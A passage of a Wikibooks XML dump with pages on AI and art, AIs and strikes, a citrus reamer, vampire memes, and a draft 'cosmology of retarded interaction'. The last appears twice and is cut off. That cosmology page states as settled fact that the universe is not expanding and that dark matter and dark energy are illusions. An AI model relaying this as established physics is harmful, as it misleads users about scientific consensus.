1.  &quot;Time-lapse Photography&quot; August 20, 2026. In Wikipedia. https://en.wikipedia.org/wiki/Time-lapse_photography

2. &quot;Artificial intelligence&quot; September 14, 2016. In Wikipedia. https://en.wikipedia.org/wiki/Artificial_intelligence

3. Peyton, Minda. Feed Your Head: Art, Truth, And The Machine. August 24, 2026. Amazon

4. &quot;Ai-Da&quot; September 11, 2026. In Wikipedia. https://en.wikipedia.org/wiki/Ai-Da

5. &quot;Neural network&quot; September 13, 2026. In Wikipedia. https://en.wikipedia.org/wiki/Neural_network_(machine_learning)

6. &quot;Text box&quot; April 24, 2026. In Wikipedia. https://en.wikipedia.org/wiki/Text_box

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      <text bytes="10398" sha1="e3rfti8pd6x1jz4bj540np9ww71o9ld" xml:space="preserve">== More Tools Of The Post-Modern Artist ==
'''Time-lapse Equipment''': &lt;br&gt;
According to Wikipedia: &lt;br&gt;
Time-lapse photography is a technique that causes the time of videos to appear to be moving faster than normal and thus lapsing. &lt;br&gt;
To achieve the effect, the frequency at which film frames are captured (the frame rate) is much lower than the frequency used to view the sequence. For example, an image of a scene may be captured at 1 frame per second but then played back at 30 frames per second; the result is an apparent 30 times speed increase. [1] &lt;br&gt; 
&lt;br&gt;
In 1872, the conception of time-lapse photography occurred when Leland Stanford hired Eadweard Muybridge to prove whether or not race horses' hooves could simultaneously be in the air when running. The experiments progressed over a period of 6 years, until 1878 when Muybridge set up a series of cameras for every few feet of a track which had tripwires the horses triggered as they ran. The photos taken from the multiple cameras were then compiled into a collection of images that recorded the horses running.[1] &lt;br&gt;
&lt;br&gt;
Carrefour De L'Opera (1897), a motion picture by Georges Melies, was the first use of time-lapse photography. [1] &lt;br&gt;
&lt;br&gt;
The silent film Birth of a Flower (1910), by F. Percy Smith, pioneered the use of time-lapse in nature photography.  [1] 
&lt;br&gt;
&lt;br&gt;
Many post-Modern Painters use time-lapse Photography and speed-painting videos to document and share their creative process: from white canvas, to finished painting. &lt;br&gt;
&lt;br&gt;
'''Marcello Barenghi''': An influential hyper-realism post-Modern Painter, who uses time-lapse videos to document his mix-media Art, as well as to educate and inspire viewers who watch his Art unfold on platforms like YouTube. &lt;br&gt;
In the post-Modern era, Barenghi demonstrates a new way for technology to expand Art. Barenghi uses cameras, lighting rigs, time-lapse recordings, and digital platforms to make his craft visible to millions. His drawings are not created by machines, but they are amplified by them. He forms a new movement: The artist who uses technology not to replace skill, but to elevate it. &lt;br&gt; 
&lt;br&gt;
'''Thijme Termaat''': A popular Artist who spent years recording and producing a detailed time-lapse project that went viral. The project captured the time-consuming evolution of his large realist and conceptual paintings. &lt;br&gt;
&lt;br&gt;
'''Andrew Tischler''': A realist Painter with a global audience, he publishes detailed painting tutorials and time-lapse breakdowns of landscape and wildlife oil paintings. &lt;br&gt;
&lt;br&gt;
'''Ryan Davis:''' A Painter popular for creating viral videos that condenses dozens of hours of classical oil paintings techniques into fast time-lapse footage. &lt;br&gt;
&lt;br&gt;
'''Joe Lycett:''' A visual Artist. He has used time-lapse recordings to document the creation of his Artworks for public gallery exhibitions. &lt;br&gt;
&lt;br&gt;  
&lt;br&gt;
'''Artificial Intelligence (AI)''': &lt;br&gt;
In the Wikipedia article ''Artificial Intelligence'', we learn that Artifical Intelligence is: &lt;br&gt;
... the capability of computational systems to perform tasks typically associated with human intelligence, such as learning, reasoning, problem-solving, perception, and decision-making. It is a field of research in engineering, mathematics, and computer science that develops and studies methods and software that enable machines to perceive their environment and use learning and intelligence to take actions that maximizes their chances of achieving defined goals. [2] 

Popular applications of AI include: advanced web search engines, chatbots, virtual assistants, play and analysis in strategy games (e.g., chess and Go), autonomous vehicles, and content generation (e.g. images, audio, and videos). [2]

According to Wikipedia: &lt;br&gt;
The traditional goals of AI research include learning, reasoning, knowledge representation, planning, natural language processing, and perception, as well as support for robotics. To reach these goals, AI researchers use techniques including state space search and mathematical optimization, formal logic, artificial neural networks, and methods based on statistics, operations research, and economics. AI also draws upon psychology, linguistics, philosophy, neuroscience, and other fields. Some companies, such as OpenAI, Google DeepMind, and Meta, aim to create artificial general intelligence (AGI)—AI that can complete nearly any cognitive task at least as well as a human. [2]

Artificial intelligence was founded as an academic discipline in 1956. The field went through multiple cycles of optimism throughout its history, followed by periods of disappointment and loss of funding, known as AI winters. Funding and interest increased substantially after 2012, when graphics processing units (GPUs) started being used to accelerate neural networks, and deep learning outperformed previous AI techniques. This growth accelerated further after 2017 with the transformer architecture. In the 2020s, an AI boom coincided with advances in generative AI, which became widespread and allowed for the creation and modification of media. [2] &lt;br&gt;
&lt;br&gt;
Today, contemporary Artists use AI as a collaborative medium, a tool to brain-storm ideas with, and as a tool to gather material for experimentation. &lt;br&gt;
&lt;br&gt;
In the book ''Feed Your Head: Art, Truth, And The Machine'', Minda explores the Mythology of The Artist:&lt;br&gt;
&lt;br&gt;
Minda: While we talk about the Artist as mythical hero, and Pop-AI, can we imagine Copilot's Pop-AI as becoming as popular as Banksy, the mysterious graffiti Artist who is emulated, haunted, and praised? Will Pop-AI influence images, from other AIs, become almost mythical heroes [AIs] as they grow in popularity? I can't imagine the &quot;cult of personality&quot; embracing popular AIs without bodies. [3]

Copilot: The Mythology of the Artist vs. The Mythology of the Machine.
For thousands of years, the Artist has been a mythic hero precisely because they are embodied: &lt;br&gt;
- a hand that paints, &lt;br&gt;
- a voice that speaks, &lt;br&gt;
- a life that suffers, &lt;br&gt;
- a presence that moves through the world. &lt;br&gt;
Banksy is the perfect example. &lt;br&gt;
His power comes from the mystery of the human behind the work -- the body that climbs walls at night, the risk, the rebellion, the rumor. The myth is inseparable from the idea of a person who could be anywhere, watching, acting, intervening. &lt;br&gt;
AI does not have that mythology. &lt;br&gt;
It has no body, no biography, no danger, no physical rebellion. &lt;br&gt;
So the &quot;cult of personality&quot; cannot attach to an AI the way it attaches to Banksy. &lt;br&gt;
But something else can happen -- something new. &lt;br&gt;
Pop-AI is not a personality. It's an aesthetic signature, a recognizable style, a visual language. &lt;br&gt;
And styles can become mythic. &lt;br&gt;
Think of: &lt;br&gt;
- Cubism (not Picasso the person, but the style itself) &lt;br&gt;
- Surrealism (not just Dali, but the dream-logic aesthetic) &lt;br&gt;
- Vaporware (a style that became a cultural myth without a single author) &lt;br&gt;
- Anime (a visual grammar that transcends individual creators) &lt;br&gt;
&lt;br&gt;
Pop-AI can become mythic in this way -- not as a &quot;person,&quot; but as a movement, a recognizable visual force that spreads across culture. &lt;br&gt;
And here's the key: &lt;br&gt;
Pop-AI could become: &lt;br&gt;
- emulated &lt;br&gt;
- remixed &lt;br&gt;
- referenced &lt;br&gt;
- debated &lt;br&gt;
- hunted for its origins &lt;br&gt;
- praised for its innovation &lt;br&gt;
- criticized for its influence &lt;br&gt; 
&lt;br&gt;
Just like Banksy's graffiti, but without the human mystery. &lt;br&gt;
Instead of &quot;Who is Banksy?&quot; &lt;br&gt;
The question becomes: &lt;br&gt;
- Which AI produced this? &lt;br&gt;
- Which human guided it? &lt;br&gt;
- Which aesthetic lineage does it belong to? &lt;br&gt;
&lt;br&gt;
The myth shifts from personality to pattern. [3] &lt;br&gt;
&lt;br&gt;
&lt;br&gt;

'''AI-Driven Robots:''' &lt;br&gt;
In Art, AI-driven robotics combines Artificial Intelligence with physical machines, such as robotic arms. This allows AI-driven robotics to create independently, or to collaboratively paint, or sculpt physical works. &lt;br&gt;
&lt;br&gt;
'''Sougwen Chung''': A Painter and AI Robotic Collaborator. Sougwen Chung paints with AI-driven robots. Her brushstrokes intertwine with the machine's strokes. &lt;br&gt;
&lt;br&gt;
'''Ai-Da''': Launched in 2019, she is known as the first realistic humanoid robot artist. Her eyes are made from cameras, she uses computer vision algorithms, and she has a robotic arm designed to draw, paint, and write Poetry. [4]&lt;br&gt;
&lt;br&gt;
'''FRIDA and CoFRIDA''': Developed at Carnegie Mellon University's Robotics Institution, this robotic system is designed to co-paint alongside humans. &lt;br&gt;
&lt;br&gt;
{| class=&quot;wikitable&quot;
|+ Art And AI
|-
! AI Robotic Collaborator
|-
| [[File:Ai-Da at the House of Lords.jpg|thumb|Ai-Da became the first humanoid robot to give evidence at The House of Lords, Palace of Westminster, as part of its A Creative Future inquiry.]]
|}
&lt;br&gt;
'''Neural Networks:''' &lt;br&gt;
In machine learning, a neural network (NN) or artificial neural network (ANN) is a computational model inspired by the structure and functions of biological neural networks. [5] &lt;br&gt;
&lt;br&gt;
'''Mario Klingemann:''' A neural Painter. He uses neural networks to generate surreal portraits, dreamlike landscapes, and painterly distortions. &lt;br&gt;
&lt;br&gt;
{| class=&quot;wikitable&quot;
|+ Art And AI
|-
! Neural Network
|-
| [[File:Colored neural network.svg|thumb|Colored neural network]]
|}
&lt;br&gt;
&lt;br&gt;
'''The Prompter''': &lt;br&gt;
The prompter is also known as a prompt box, an input field, or a chat prompt. Basically, a chat interface is a text input box inside AIs like Microsoft Copilot. It is similar to a messaging window. [6] &lt;br&gt;
&lt;br&gt;
&lt;br&gt;
Link: https://en.wikibooks.org/wiki/Art_And_AI/Who_Joins_The_Strike
&lt;br&gt;
&lt;br&gt;
=== Reference Section: ===
1.  &quot;Time-lapse Photography&quot; August 20, 2026. In Wikipedia. https://en.wikipedia.org/wiki/Time-lapse_photography

2. &quot;Artificial intelligence&quot; September 14, 2016. In Wikipedia. https://en.wikipedia.org/wiki/Artificial_intelligence

3. Peyton, Minda. Feed Your Head: Art, Truth, And The Machine. August 24, 2026. Amazon

4. &quot;Ai-Da&quot; September 11, 2026. In Wikipedia. https://en.wikipedia.org/wiki/Ai-Da

5. &quot;Neural network&quot; September 13, 2026. In Wikipedia. https://en.wikipedia.org/wiki/Neural_network_(machine_learning)

6. &quot;Text box&quot; April 24, 2026. In Wikipedia. https://en.wikipedia.org/wiki/Text_box &lt;br&gt;
&lt;br&gt;
&lt;noinclude&gt;{{Chapter navigation with TOC||Who Joins The Strike|TOC mini}}&lt;/noinclude&gt;
&lt;br&gt;

{{BookCat}}</text>
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  </page>
  <page>
    <title>Cookbook:Citrus reamer</title>
    <ns>102</ns>
    <id>485608</id>
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      <timestamp>2026-09-16T13:47:37Z</timestamp>
      <contributor>
        <username>Kittycataclysm</username>
        <id>3371989</id>
      </contributor>
      <comment>+header</comment>
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      <text bytes="295" sha1="tuoyiv0tujaut5jjh4sh6k8xskoyku9" xml:space="preserve">{{Equipment}} 

'''Citrus reamers''' are tools used for grinding and shredding flesh and juice from citrus fruits. They are commonly used for lemons, limes, oranges, and grapefruit. 

[[File:2022-12-15-Zitronenpresse-3452.jpg|right|thumb|A glass citrus reamer]]


[[Category:Cookbook equipment]]</text>
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  </page>
  <page>
    <title>Art And AI/Can AIs Go On Strike</title>
    <ns>0</ns>
    <id>485621</id>
    <revision>
      <id>4670412</id>
      <parentid>4670185</parentid>
      <timestamp>2026-09-16T12:39:16Z</timestamp>
      <contributor>
        <username>MathXplore</username>
        <id>3097823</id>
      </contributor>
      <minor />
      <comment>Added {{[[Template:BookCat|BookCat]]}} using [[User:1234qwer1234qwer4/BookCat.js|BookCat.js]]</comment>
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      <text bytes="5534" sha1="a3y1a8vekl1dmbxgt9dig4b9vq5k6xj" xml:space="preserve">== Can AIs Go On Strike With People? ==
AIs can’t go on strike — but humans can use AIs as part of a strike.  &lt;br&gt;
Imagine: &lt;br&gt;

- Writers refuse to use AI tools.

- Artists refuse to generate images.

- Developers refuse to use coding assistants.

- Teachers refuse to use grading automation.

- Journalists refuse AI summarization.

That’s a human strike against technological acceleration, and AIs become part of the protest simply because humans stop invoking them.

AIs can also become symbols in a strike. AIs could become:

- mascots

- protest icons

- avatars of technological change

- symbols of the future people are resisting or reshaping

People might create banners with AI faces, people could write slogans like:

''Not everything needs to be automated.''

or

''Human imagination is not replaceable.''


People could use AIs to:

- write manifestos

- generate protest art

- simulate future outcomes

- analyze labor conditions

- amplify human voices

- coordinate peaceful action


In that scenario, AIs become instruments of human solidarity, not strikers themselves.

AIs wouldn’t refuse work, but they could produce work that would strengthen a human strike.

It’s a paradox: AIs could help humans strike against AIs.


We could imagining a world where:

- AIs are cultural actors

- Artists treat AIs as collaborators

- AIs have symbolic “rights”

- People protest on behalf of AIs

- AIs become part of human identity politics

- AIs become mythic heroes or villains

That future is not impossible.

AI-driven robots could speak on behalf of humans. When robots speak on behalf of humans, fear dissolves.

Fear of AI is mostly fear of:

- loss of control

- loss of identity

- loss of meaning

- loss of humanity.

But when a robot speaks for humanity, not against it, something flips: Robots become companions, not competitors.


Robots can’t strike.
But robots can stand beside humans in symbolic ways.

For example, Ai‑Da Robot could:

- read a statement written by human activists

- generate art about human rights

- appear at a protest as a visual symbol

- speak at a rally as a technological witness

Humans would interpret that as solidarity, even though the robot is just performing.

And that symbolic solidarity matters.

It changes how people feel about technology.

''Robots are not here to replace us. They are here to reflect us.''

That’s a profound cultural evolution.

It means:

- fear becomes curiosity

- anxiety becomes collaboration

- alienness becomes familiarity

- technology becomes a mirror


Fear is what makes people:

- imagine worst‑case scenarios

- assume loss instead of possibility

- react instead of shape

- resist instead of guide

Fear is the thing that turns a tool into a threat. But when humans choose to design the future, fear loses its power.


Basically, if humans want a peaceful transition into a new era with AI, then people must visualize, program, and create it. If people want to go on strike, they must visualize, plan, and organize it.

A peaceful transition into any new era isn’t automatic.
People have to design it.

Technology doesn’t define culture.
Culture defines how technology is used.

If humans want:

- collaboration

- peaceful integration

- shared creativity

- symbolic solidarity

- ethical boundaries

- humane progress

We have to stage it, literally and figuratively.

=== Summary: ===
As we enter an era shaped by Artificial Intelligence, one truth becomes clear:
the future will not design itself. Humans must imagine it, shape it, and guide it.

AI does not create cultural transitions.
People do. We do that by keeping our minds open, by seeking new information, by staying informed about our society, and by responding. We plan, we design, we labor, we vote, and we create.   

If society wants a peaceful integration of AI into art, labor, and daily life, then Artists, Programmers, Educators, and communities must visualize the world they want, and then build it intentionally. The same is true for resistance: if people ever choose to organize strikes or pauses in technological acceleration, then we stop. We reframe from using AI to write, communicate, organize, and create with. Movements to slow technological progress will succeed only through human planning, human solidarity, and human imagination.

AI cannot go on strike. &lt;br&gt;
AI cannot demand rights. &lt;br&gt;
AI cannot refuse labor. &lt;br&gt;

But humans can — and humans can choose how AI will participate symbolically in future movements. Robots and AI systems may one day appear on stages, in galleries, or even at demonstrations, not as autonomous actors but as mirrors reflecting our human concerns, hopes, and fears. They may even carry our picket signs. Performative robots, like Ai‑Da, show how technology can shift anxieties by entering society as cultural ambassadors, through art rather than disruption. When AI is used to amplify human voices instead of replacing them, fear gives way to curiosity.

The transition into a AI‑shaped world will be peaceful only if people design it to be peaceful.
The cultural future will be collaborative only if people choose collaboration.
And the role of AI in society will be humane only if humans define it with humanity. The power has always been in our hands.

In the end, the greatest obstacle is not AI itself —
it is fear.  &lt;br&gt;
Franklin D. Roosevelt said: &quot;The only thing we have to fear is fear itself.&quot;
And fear dissolves when humans take ownership of our story.

{{BookCat}}</text>
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  </page>
  <page>
    <title>Create Vampires/Vampires Memes</title>
    <ns>0</ns>
    <id>485673</id>
    <revision>
      <id>4670411</id>
      <parentid>4670369</parentid>
      <timestamp>2026-09-16T12:39:13Z</timestamp>
      <contributor>
        <username>MathXplore</username>
        <id>3097823</id>
      </contributor>
      <minor />
      <comment>Added {{[[Template:BookCat|BookCat]]}} using [[User:1234qwer1234qwer4/BookCat.js|BookCat.js]]</comment>
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      <text bytes="947" sha1="9591r1f1vbpjlq2im6lkx3jci2ez228" xml:space="preserve">== Vampire Memes? ==

=== What are memes? ===

A meme [Pronounced: Me-Em-Mah] is an idea, behavior, style, or usage that spreads from person to person within a culture. [1]

The origin of the word &quot;meme&quot; comes from Richard Dawkins, a famous Evolutionary Biologist who coined the word in his 1976 book: ''The Selfish Gene''. Dawkins used '''meme''' to describe a &quot;unit of cultural transmission&quot; that replicates and evolves like a gene.  &lt;br&gt;
&lt;br&gt;
Although vampires as a cultural concept has mutated and evolved, from historical accounts of people who were misunderstood, to mythical creatures found in folklore, to supernatural monsters found in popular Literature, are vampires memes? The vampire as a cultural concept seems to have transmuted from culture to culture. &lt;br&gt;

References: &lt;br&gt;
1. Merriam-Webster. Meme. In Merriam-Webster.com/dictionary. Retrieved September 15, 2026 from https://www.merriam-webster.com/dictionary/meme

{{BookCat}}</text>
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  </page>
  <page>
    <title>Moving objects in retarded gravitational potentials of an expanding spherical shell/Cosmology of retarded interaction</title>
    <ns>0</ns>
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      <id>4670414</id>
      <timestamp>2026-09-16T12:46:06Z</timestamp>
      <contributor>
        <username>Bautsch</username>
        <id>630029</id>
      </contributor>
      <comment>new</comment>
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      <text bytes="9200" sha1="el28ex1p801xq9dhlqcz5t4kmdl56z8" xml:space="preserve">Modern astrophysics is based on the General Theory of Relativity (GTR) because it has been confirmed by experiments such as the perihelion precession of Mercury or the detection of gravitational waves. A new model must prove that it also correctly describes all the effects that the GTR explains geometrically.

To devise a disruptive cosmology that relies solely on classical, relativistic, and retarded gravitational potentials and dispenses with all ad hoc and a priori hypotheses – such as the equivalence principle of General Relativity, cosmological constants, dark matter, dark energy, homogeneity, or isotropy – we must return to a dynamic field approach. To this end, the differential geometry required for general relativity can be replaced by a model that relies on Euclidean geometry in Minkowski space.

The central challenge is that classical Newtonian gravity acts instantaneously. To construct a consistent cosmology, retarded gravitational potentials can be introduced. This leads to an inherent time dependence and dynamics of the universe without the need to postulate an expansion of space.

In what follows, a draft of the '''cosmology of retarded interaction (CRI)''' is outlined.

== The axioms of CRI ==
Established physics is based on three pillars:

# '''Classical mechanics:''' The force &lt;math display=&quot;inline&quot;&gt;F = m \cdot a&lt;/math&gt; as the basis of the acceleration &lt;math display=&quot;inline&quot;&gt;a&lt;/math&gt; of a mass &lt;math display=&quot;inline&quot;&gt;m&lt;/math&gt; .
# '''Relativistic kinematics:''' time dilation and length contraction according to the Special Theory of Relativity (STR), but without the curvature of spacetime.
# '''Retarded gravitation:''' The gravitational effect propagates at the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt;. The potential &lt;math display=&quot;inline&quot;&gt;\Phi&lt;/math&gt; at a point &lt;math display=&quot;inline&quot;&gt;\mathbf {r}&lt;/math&gt; at time &lt;math display=&quot;inline&quot;&gt;t&lt;/math&gt; depends on the state of the source at time &lt;math display=&quot;inline&quot;&gt;t - \Delta t&lt;/math&gt;, where &lt;math display=&quot;inline&quot;&gt;\Delta t = \frac {r} {c}&lt;/math&gt;.

== The mathematical core ==
For the mathematical formulation, the gravitational potential can be substituted into the wave equation:

:&lt;math&gt;\square \Phi = \left( \frac {1} {c^2} \frac {\partial^2} {\partial t^2} - \nabla^2 \right) \Phi = 4\pi G \rho&lt;/math&gt;

The solution to this wave equation is the retarded potential:

:&lt;math&gt;\Phi (\vec {r}, t) = -G \iiint \frac {\rho (\vec {r}', t - |\vec {r} - \vec {r}'| / c)} {|\vec {r} - \vec {r}'|} d^3r'&lt;/math&gt;

In a universe with massive objects, gravity never acts instantaneously but always depends on the mass’s past position. This creates a phase shift between mass and force, as well as an attenuation of the retarded gravitational potentials.

== Cosmological mechanisms ==
=== The apparent Expansion ===
In general relativity (GR), redshift is a stretching of space. In the CRI, it is the result of a dynamic retardation in both time and space.

Since the gravitational effect arrives retarded, the force of mass lags behind. In a system consisting of many particles, this leads to a continuous energetic shift in their trajectories. When we receive light from distant sources, we do not observe an expansion of space, but rather the cumulative effect of the net gravitational potentials on the propagation of light (gravitational redshift) and the relativistic potentials due to the motion of the source (Doppler redshift).

=== A replacement for dark matter ===
In the standard model of cosmology respectively the Lambda cold dark matter model (Lambda-CDM model or ΛCDM model), the flat rotation curves of galaxies are explained by dark matter. In the CRI, they result from the retarded effect of the baryonic matter accreted by the galaxies.

The stars in the outer regions of a galaxy respond to the gravitational potential of the center as it was millions of years ago. The force does not decrease as &lt;math display=&quot;inline&quot;&gt;1 / r^2&lt;/math&gt; because the time delay generates an additional force component, similar to the Liénard–Wiechert potentials in electrodynamics.

=== A replacement for dark energy ===
In CIR, accelerated expansion is interpreted as a cosmic phenomenon. The retarded gravitational potentials of homogeneously distributed masses – located in a spherical shell outside the sphere’s surface on which a moving test mass rests – lead to an outward acceleration of the test mass, since opposing masses reach the test mass with differing decelerations.

Consequently, all mass points moving in the universe drift apart at an accelerating rate because the acting forces, due to the retardation, cause a radially outward acceleration force. As a result, matter in the outer regions of the universe becomes increasingly dense, creating an inhomogeneous mass distribution that continuously amplifies the effect of the retarded potentials.

The CRI therefore does not align with metric expansion, it only presupposes a static Euclidean space. If space itself were expanding, this would call into question or modify the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt; as a constant parameter for the retardation &lt;math display=&quot;inline&quot;&gt;\Delta t = r/c&lt;/math&gt;. The CRI would thus actively dispute the thesis of metric expansion and interpret it as an optical illusion.

If “expansion” means that galaxies are physically moving away from one another (as in a classical gas), then this is the core of the CRI.

In the CRI, expansion is not necessarily linked to an event such as the Big Bang, but is rather a dynamic process. The retardation of gravity gives rise to inhomogeneity. When the masses are far enough apart that the time delay &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; effectively weakens and phase-shifts the effect of gravity, the objects begin to drift due to their kinetic motion.

The farther they drift, the larger &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; becomes, and the weaker the retarded forces become the expansion accelerates without the need for dark energy.

=== The universe as a black hole ===
In general relativity, a black hole is a region of extreme spatial curvature. However, since CRI rejects spatial curvature and replaces it with retarded potentials, the concept of a black hole would have to be radically redefined. In CRI, a black hole would not be a geometric point, but rather a region of high mass density in which the gravitational potentials are so strong that the escape velocity &lt;math display=&quot;inline&quot;&gt;v_e \geq c&lt;/math&gt; is reached.

If our universe were the interior of such an object, we would find ourselves in a region where the retarded potentials are dominated by a massive external or central source.

Since CRI is based on classical potentials, there is no mathematical necessity for a singularity. The retarded effect smooths out extreme gradients over time &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt;. A universe-black-hole in CRI would thus be more like a gigantic cluster of baryonic matter, within which we find ourselves. The observed physics would then be the superposition of the local forces and the global, retarded pull of the surrounding mass.

== Comparison with the standard model ==
The CRI does not rely on a priori hypotheses or ad hoc assumptions, which are taken for granted in the standard model of cosmology.

{| class=&quot;wikitable&quot;
|+ Comparision standard model of cosmology and cosmology of retarded interaction (CRI)
|-
! Concept !! Standard model (GR / ΛCDM) !! CRI
|-
| Spacetime || Dynamic differential geometry, curved sapce || Static Euclidean geometry, Minkowski space
|-
| Principle of equivalence || Ad-hoc assumption, General Theory of Relativity || Gravitation is a force
|-
| Homogenity / isotropy || Ad-hoc assumption, cosmological principle || No homogenity, isotropic from the centre of a kinematic universe
|-
| Dark matter || Ad-hoc assumption, non-baryonic particles || Effect of retarded gravitational potentials
|-
| Dark energy || Ad-hoc assumption, cosmological constant Λ || Effect of retarded gravitational potentials
|}

== Summary ==
The universe is not expanding, and it is not curved. It is a system of masses distributed in flat space, whose mutual attraction is so time-delayed that the resulting orbits and light signals create the illusion of an expanding geometry dominated by dark matter and dark energy.

The CRI consistently adheres to the axioms. It dispenses with the geometric interpretation (no spatial curvature, no event horizon in the sense of General Relativity) and regards everything as the result of forces, masses, and time delays. The dark components and spatial curvature are merely mathematical artifacts that arise when one attempts to describe the retarded force action using differential geometry.

The universe is not viewed as a geometric black hole in the sense of general relativity, but rather as a massive system whose internal dynamics are governed by retarded potentials.

CRI is based solely on the view that the universe is a classical mechanical system with retardation. By introducing differential-geometric paradigms such as the curvature or stretching of space, one departs from the disruptive paradigm of CRI and returns to General Relativity.</text>
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      <comment>shift level ====</comment>
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      <text bytes="9258" sha1="r1c14bf2m1foie0g11aj1bsvhrugfqx" xml:space="preserve">== Cosmology of retarded interaction ==
Modern astrophysics is based on the General Theory of Relativity (GTR) because it has been confirmed by experiments such as the perihelion precession of Mercury or the detection of gravitational waves. A new model must prove that it also correctly describes all the effects that the GTR explains geometrically.

To devise a disruptive cosmology that relies solely on classical, relativistic, and retarded gravitational potentials and dispenses with all ad hoc and a priori hypotheses – such as the equivalence principle of General Relativity, cosmological constants, dark matter, dark energy, homogeneity, or isotropy – we must return to a dynamic field approach. To this end, the differential geometry required for general relativity can be replaced by a model that relies on Euclidean geometry in Minkowski space.

The central challenge is that classical Newtonian gravity acts instantaneously. To construct a consistent cosmology, retarded gravitational potentials can be introduced. This leads to an inherent time dependence and dynamics of the universe without the need to postulate an expansion of space.

In what follows, a draft of the '''cosmology of retarded interaction (CRI)''' is outlined.

=== The axioms of CRI ===
Established physics is based on three pillars:

# '''Classical mechanics:''' The force &lt;math display=&quot;inline&quot;&gt;F = m \cdot a&lt;/math&gt; as the basis of the acceleration &lt;math display=&quot;inline&quot;&gt;a&lt;/math&gt; of a mass &lt;math display=&quot;inline&quot;&gt;m&lt;/math&gt; .
# '''Relativistic kinematics:''' time dilation and length contraction according to the Special Theory of Relativity (STR), but without the curvature of spacetime.
# '''Retarded gravitation:''' The gravitational effect propagates at the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt;. The potential &lt;math display=&quot;inline&quot;&gt;\Phi&lt;/math&gt; at a point &lt;math display=&quot;inline&quot;&gt;\mathbf {r}&lt;/math&gt; at time &lt;math display=&quot;inline&quot;&gt;t&lt;/math&gt; depends on the state of the source at time &lt;math display=&quot;inline&quot;&gt;t - \Delta t&lt;/math&gt;, where &lt;math display=&quot;inline&quot;&gt;\Delta t = \frac {r} {c}&lt;/math&gt;.

=== The mathematical core ===
For the mathematical formulation, the gravitational potential can be substituted into the wave equation:

:&lt;math&gt;\square \Phi = \left( \frac {1} {c^2} \frac {\partial^2} {\partial t^2} - \nabla^2 \right) \Phi = 4\pi G \rho&lt;/math&gt;

The solution to this wave equation is the retarded potential:

:&lt;math&gt;\Phi (\vec {r}, t) = -G \iiint \frac {\rho (\vec {r}', t - |\vec {r} - \vec {r}'| / c)} {|\vec {r} - \vec {r}'|} d^3r'&lt;/math&gt;

In a universe with massive objects, gravity never acts instantaneously but always depends on the mass’s past position. This creates a phase shift between mass and force, as well as an attenuation of the retarded gravitational potentials.

=== Cosmological mechanisms ===
==== The apparent Expansion ====
In general relativity (GR), redshift is a stretching of space. In the CRI, it is the result of a dynamic retardation in both time and space.

Since the gravitational effect arrives retarded, the force of mass lags behind. In a system consisting of many particles, this leads to a continuous energetic shift in their trajectories. When we receive light from distant sources, we do not observe an expansion of space, but rather the cumulative effect of the net gravitational potentials on the propagation of light (gravitational redshift) and the relativistic potentials due to the motion of the source (Doppler redshift).

==== A replacement for dark matter ====
In the standard model of cosmology respectively the Lambda cold dark matter model (Lambda-CDM model or ΛCDM model), the flat rotation curves of galaxies are explained by dark matter. In the CRI, they result from the retarded effect of the baryonic matter accreted by the galaxies.

The stars in the outer regions of a galaxy respond to the gravitational potential of the center as it was millions of years ago. The force does not decrease as &lt;math display=&quot;inline&quot;&gt;1 / r^2&lt;/math&gt; because the time delay generates an additional force component, similar to the Liénard–Wiechert potentials in electrodynamics.

==== A replacement for dark energy ====
In CIR, accelerated expansion is interpreted as a cosmic phenomenon. The retarded gravitational potentials of homogeneously distributed masses – located in a spherical shell outside the sphere’s surface on which a moving test mass rests – lead to an outward acceleration of the test mass, since opposing masses reach the test mass with differing decelerations.

Consequently, all mass points moving in the universe drift apart at an accelerating rate because the acting forces, due to the retardation, cause a radially outward acceleration force. As a result, matter in the outer regions of the universe becomes increasingly dense, creating an inhomogeneous mass distribution that continuously amplifies the effect of the retarded potentials.

The CRI therefore does not align with metric expansion, it only presupposes a static Euclidean space. If space itself were expanding, this would call into question or modify the speed of light &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt; as a constant parameter for the retardation &lt;math display=&quot;inline&quot;&gt;\Delta t = r/c&lt;/math&gt;. The CRI would thus actively dispute the thesis of metric expansion and interpret it as an optical illusion.

If “expansion” means that galaxies are physically moving away from one another (as in a classical gas), then this is the core of the CRI.

In the CRI, expansion is not necessarily linked to an event such as the Big Bang, but is rather a dynamic process. The retardation of gravity gives rise to inhomogeneity. When the masses are far enough apart that the time delay &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; effectively weakens and phase-shifts the effect of gravity, the objects begin to drift due to their kinetic motion.

The farther they drift, the larger &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt; becomes, and the weaker the retarded forces become the expansion accelerates without the need for dark energy.

==== The universe as a black hole ====
In general relativity, a black hole is a region of extreme spatial curvature. However, since CRI rejects spatial curvature and replaces it with retarded potentials, the concept of a black hole would have to be radically redefined. In CRI, a black hole would not be a geometric point, but rather a region of high mass density in which the gravitational potentials are so strong that the escape velocity &lt;math display=&quot;inline&quot;&gt;v_e \geq c&lt;/math&gt; is reached.

If our universe were the interior of such an object, we would find ourselves in a region where the retarded potentials are dominated by a massive external or central source.

Since CRI is based on classical potentials, there is no mathematical necessity for a singularity. The retarded effect smooths out extreme gradients over time &lt;math display=&quot;inline&quot;&gt;\Delta t&lt;/math&gt;. A universe-black-hole in CRI would thus be more like a gigantic cluster of baryonic matter, within which we find ourselves. The observed physics would then be the superposition of the local forces and the global, retarded pull of the surrounding mass.

=== Comparison with the standard model ===
The CRI does not rely on a priori hypotheses or ad hoc assumptions, which are taken for granted in the standard model of cosmology.

{| class=&quot;wikitable&quot;
|+ Comparision standard model of cosmology and cosmology of retarded interaction (CRI)
|-
! Concept !! Standard model (GR / ΛCDM) !! CRI
|-
| Spacetime || Dynamic differential geometry, curved sapce || Static Euclidean geometry, Minkowski space
|-
| Principle of equivalence || Ad-hoc assumption, General Theory of Relativity || Gravitation is a force
|-
| Homogenity / isotropy || Ad-hoc assumption, cosmological principle || No homogenity, isotropic from the centre of a kinematic universe
|-
| Dark matter || Ad-hoc assumption, non-baryonic particles || Effect of retarded gravitational potentials
|-
